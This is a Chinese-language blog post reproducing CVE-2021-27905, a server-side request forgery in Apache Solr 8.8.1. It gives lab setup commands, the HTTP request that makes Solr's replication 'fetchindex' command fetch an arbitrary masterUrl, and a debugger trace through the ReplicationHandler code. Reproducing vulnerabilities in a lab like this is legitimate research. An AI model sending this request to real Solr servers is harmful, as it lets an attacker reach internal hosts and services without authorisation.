Apache Solr SSRF 复现

admin 2022年11月11日18:51:42Apache Solr SSRF 复现已关闭评论65 views字数 1662阅读5分32秒阅读模式

漏洞简介

漏洞主要是基于 Solr 的主从复制(Replication)时,可以传入任意URL,而 Solr 会针对此 URL 进行请求。

漏洞复现

环境搭建,下载符合存在漏洞的 Apache 漏洞版本:Apache Solr 8.8.1

tar -zxvf solr-8.8.1.tgz #解压文件    
sudo apt install openjdk-8-jre-headless # 安装 java 环境
cd solr-8.8.1/bin/  
./solr -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=18522" -p 8983 # 以Debug 模式启动  
./solr create -c test_solr  #创建一个数据驱动模式的核心

CVE-2021-27905 Apache solr ssrf

首先先读取一下 core_name

GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: 192.168.153.131:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.153.131:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Apache Solr SSRF 复现

GET /solr/test_solr/replication?command=fetchindex&masterUrl=http://192.168.153.1:9999/testssrf HTTP/1.1
Host: 192.168.153.131:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.153.131:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Apache Solr SSRF 复现

https://solr.apache.org/guide/8_9/index-replication.html

Apache Solr SSRF 复现

我猜测这个漏洞的发现是因为查看了 Solr 的官方文档,发现 Solr 存在指定拷贝的功能,然后未对指定的 url 校验就进行请求,所以会产生 ssrf 漏洞。

配置调试环境

Apache Solr SSRF 复现

org.apache.solr.handler.ReplicationHandler#handleRequestBody

Apache Solr SSRF 复现

org.apache.solr.handler.ReplicationHandler#fetchIndex

Apache Solr SSRF 复现

org.apache.solr.handler.ReplicationHandler#doFetch

Apache Solr SSRF 复现

org.apache.solr.handler.IndexFetcher#fetchLatestIndex(boolean)

Apache Solr SSRF 复现

org.apache.solr.handler.IndexFetcher#fetchLatestIndex(boolean, boolean)

Apache Solr SSRF 复现

org.apache.sor.handler.IndexFetcher#getLatestVersion

Apache Solr SSRF 复现

Apache Solr SSRF 复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月11日18:51:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Solr SSRF 复现http://cn-sec.com/archives/752225.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.